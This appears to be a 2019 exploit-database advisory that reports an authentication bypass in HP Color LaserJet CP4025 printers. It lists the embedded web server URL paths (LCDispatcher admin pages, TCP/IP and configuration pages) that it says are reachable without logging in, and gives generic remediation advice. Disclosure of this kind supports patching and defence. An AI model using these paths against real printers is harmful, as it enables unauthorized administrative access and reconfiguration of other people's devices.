HP Color LaserJet CP4025 Printers version 6.7.0.x suffers from an authentication bypass vulnerability.
e170d5144c7f7d0282fb2cc9a8125cb3############################################################################################
# Exploit Title : HP Color LaserJet CP4025 Printers 6.7.0.x Bypass Missing Authentication
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 31/03/2019
# Vendor Homepage : hp.com
# Software Information Link :
support.hp.com/us-en/drivers/selfservice/hp-color-laserjet-enterprise-cp4025-printer-series/3965792
# Software Version :
Driver-Universal Print Driver => 6.1.0.20062 and 6.7.0.23989
Driver-Universal Print Driver for Managed Services => Version 6.7.0.23989
Example Printer Model Number => CC490A - CCXXXA
Basic Drivers => 61.155.01.16418
Driver-USB => Version 7.0.0.29
Firmware => Version 07.250.2 - 20150120 07.171.9
Software Universal Printer Driver => Version 1.8.6
Utility => Version 1.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : CWE-306 [ Missing Authentication for Critical Function ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
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# Description about Software :
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HP LaserJet as a brand name identifies the line of dry electrophotographic DEP laser printers marketed by the American
computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.
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# Impact :
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The software does not perform any authentication for functionality that requires a provable user identity
or consumes a significant amount of resources.
The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the
affected application and change configuration settings or gain administrative access.
Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.
Developing a fix would require understanding of the current application security model and implemented access controls.
Three basic rules however can help you eliminate potential improper authorization issues:
1) Identify all privileged assets within your application (web pages that display sensitive data,
website sections that contain privileged/administrative functionality, etc.)
2) Identify user roles within the application and their access permissions
3) Always check if the user should have privileges to access the asset
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# Bypass Missing Authentication Exploit / Vulnerability :
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/hp/device/this.LCDispatcher
/hp/device/this.LCDispatcher?nav=hp.EmailServer
/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=1&lstid=-1
/hp/device/this.LCDispatcher?nav=hp.Alerts&subpage=3&lstid=1
/hp/device/this.LCDispatcher?nav=hp.Alerts
/hp/device/this.LCDispatcher?nav=hp.AutoSend
/hp/device/this.LCDispatcher?nav=hp.Security&fldPage=0
/hp/device/this.LCDispatcher?nav=hp.OtherLinks
/hp/device/this.LCDispatcher?nav=hp.Config
/hp/device/this.LCDispatcher?nav=hp.DeviceInfoConfig
/config_pro.htm
/tcpipv6.htm
/tcpipv4.htm
/tcp_param.htm
/network_id.htm
/tcp_summary.htm
/index_info.htm
/support_param.html
/support.htm
/tcp_diag.htm
/configpage.htm
/tcp_param.htm
/network_id.htm
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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